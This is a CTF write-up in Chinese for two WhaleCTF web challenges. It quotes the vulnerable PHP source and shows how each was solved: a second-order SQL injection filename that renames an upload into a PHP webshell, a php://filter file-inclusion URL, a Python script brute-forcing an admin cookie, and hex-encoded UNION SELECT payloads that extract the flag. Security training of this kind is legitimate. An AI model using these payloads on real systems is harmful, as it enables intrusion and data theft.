WhaleCTF练习

工作室群里甩了个比赛,简单练习一下web

蓝鲸文件管理系统

工作室同学讲过的原题 upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午8:45
*/

require_once "common.inc.php";
define('ROOT',dirname(__FILE__).'/');

if($_FILES)
{
$file = $_FILES["upfile"];
if($file["error"] == UPLOAD_ERR_OK) {
$name = basename($file["name"]);
$path_parts = pathinfo($name);

if(!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
exit("error extension");
}
$path_parts["extension"] = "." . $path_parts["extension"];

$name = $path_parts["filename"] . $path_parts["extension"];

$path_parts['filename'] = addslashes($path_parts['filename']);

$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
$fetch = $db->query($sql);
if($fetch->num_rows>0) {
exit("file is exists");
}
//echo $file["tmp_name"], ROOT . UPLOAD_DIR . $name;
if(move_uploaded_file($file["tmp_name"], ROOT . UPLOAD_DIR . $name)) {

$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
$re = $db->query($sql);
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$url = "/" . UPLOAD_DIR . $name;
echo "Your file is upload, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
} else {
exit("upload error");
}

} else {
print_r(error_get_last());
exit;
}
}

上面一个phithon表明题目来源.. 然后rename.php的主要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午9:39
*/

require_once "common.inc.php";
define('ROOT',dirname(__FILE__).'/');

if(isset($req['oldname']) && isset($req['newname'])) {
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
if ($result->num_rows>0) {
$result = $result->fetch_assoc();
}else{
exit("old file doesn't exists!");
}

if($result) {

$req['newname'] = basename($req['newname']);
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
if(!$re) {
print_r($db->errorInfo());
exit;
}
$oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"];
$newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"];
if(file_exists($oldname)) {
rename($oldname, $newname);
$url = "/" . $newname;
echo "Your file is rename, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
}
else{echo $oldname." not exists.";}
}
}
?>

很明显的二次注入 有一个上传的点,思路就是上传jpg文件然后二次注入改后缀,rename成php文件 首先传一个注入的文件,比如

1
',`extension`='',`filename`='blacsheep.jpg.jpg

里面写好shell blacsheep 然后去rename一下',`extension`='',`filename`='blacsheep.jpg.jpgrename成blacsheep.jpg,然后rename的时候这里会自己加后缀,所以文件被rename成了blacsheep.jpg.jpg,而数据库中因为注入的原因所以是blacsheep.jpg blacsheep blacsheep 然后我们传一个blacsheep.jpg,再去rename.php里把blacsheep.jpg给rename成blacsheep.php blacsheep blacsheep 这里会先去查找blacsheep.jpg,然后发现了我们的注入的记录,加上ext之后文件名为blacsheep.jpg,刚刚好我们上传了这个文件,那么对文件的rename的时候也就没有问题了 blacsheep 查看下 blacsheep

蓝鲸笔记管理系统

这个题出的还蛮好的,记录一下 一出来是个注册登录,然后里面有个留言功能,测试一下sql注入,失败 虽然有思考到文件包含,但是发现web目录并没有login.php 后来看wp才知道前面的action是文件夹,后面的mode是文件名,也就等价于

1
include $action."/".$mode.".php";

那么构造一下拿到index的源码

1
http://106.39.10.134:10002/index.php?action=php://filter/read=convert.base64-encode/resource=.&mode=index

index.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

define("DIR_PERMITION",time());
// phpinfo();

function d_addslashes($array){

foreach($array as $key=>$value){
if(!is_array($value)){
!get_magic_quotes_gpc()&&$value=addslashes($value);
$array[$key]=$value;
}else{

$array[$key] = d_addslashes($array[$key]);
}
}
return $array;

}

$_POST=d_addslashes($_POST);
$_GET=d_addslashes($_GET);


include_once('common.php');

if(!isset($_GET['action'])!isset($_GET['mode'])){

header("Location: ./index.php?action=front&mode=login");

}elseif(!preg_match('/\.{2}/is',$_GET['action'])&&preg_match('/^[0-9A-Za-z]+$/is',$_GET['mode'])){
$action=$_GET['action'];
$mode=$_GET['mode'];
$file=$action.'/'.$mode.'.php';

// echo $file;

}else{

die("Invalid Request!");
}

include($file);

然后读common.php,扫目录发现admin目录,然后读一下admin下面的login和index 发现admin的登录需要猜随机数,不过只有6位,而且还是仅有'wh'构成的,写个脚本爆破一下,简易脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
# coding=utf-8

import requests
import hashlib

def md5(str1):
res_md5 = hashlib.md5()
res_md5.update(str(str1).encode())
return res_md5.hexdigest()

u = requests.session()
charlist = "wh"
length = 6
half_uid = "admin%7C"

for one in charlist:
for two in charlist:
for thr in charlist:
for fou in charlist:
for fif in charlist:
for six in charlist:
uid = half_uid + md5(one+two+thr+fou+fif+six+'admin')
cookies = {"uid" : uid}
r = u.get('http://106.39.10.134:10002/index.php?action=admin&mode=index', cookies = cookies)
r.encoding = r.apparent_encoding
if "not login" not in r.text:
print(r.text)
print(r.request.headers["Cookie"])
else:
print("not login:"+one+two+thr+fou+fif+six)

然后登录到admin页面,发现一个页面修改的地方,读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
defined("DIR_PERMITION") or die("Permision denied!");
$userid=check_login();
$level=get_level();

if($userid!==false&&$level!==false){
if(isset($_POST['page'])&&isset($_POST['TOKEN'])){
$page=$_POST['page'];
$TOKEN=$_POST['TOKEN'];

if($TOKEN!=$_SESSION['CSRF_TOKEN']){
die("token error!");
}

if(!is_numeric($page)){
die("page must be a number!");
}
if($page<1) $page=1;

$sql="update page set num=$page";
$res=mysql_my_query($sql);
if($res){
echo "<script>alert('update success!');</script>";
echo("<script>location.href='./index.php?action=admin&mode=index'</script>");

}else{
echo "<script>alert('update fail!');</script>";
die();
}
}
}else{

echo "<script>alert('not login!');</script>";
echo("<script>location.href='./index.php?action=admin&mode=login'</script>");
die();
// $result=mysql_my_query($sql);
}

?>

发现isnumeric过滤了一下,hex绕过 然后在index.php发现

1
2
3
4
$page_size=get_page_size();
//默认仅仅显示 前$page_size条数据
$sql="select * from note limit 0,".$page_size;
$result=mysql_my_query($sql);

去common.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function get_page_size(){

$sql="select num from page";
$res=mysql_my_query($sql);
$row=$res->fetch_assoc();
return $row['num'];
}

function set_page_size(){

$sql="update page set num=20";
$res=mysql_my_query($sql);

}

这里就可以看到是个二次注入,但前提必须是数据库page表的num列必须是varchar,题目的hint里面给出了dbinit.sql文件,查看发现定义的page就是varchar,那么后面的就简单了,我们去构造sql的语句,hexencode一下,然后写到数据库,之后访问index的时候num被提取出来,并且被放到limit后面执行. 我们构造一个

1
1 union select 1,2,3,4

所以提交一个 0x3120756e696f6e2073656c65637420312c322c332c34 得到结果 blacsheep 继续在2处注入

1
1 union select 1,flag,3,4 from flags

hex一下成了0x3120756e696f6e2073656c65637420312c666c61672c332c342066726f6d20666c616773 提交一下 blacsheep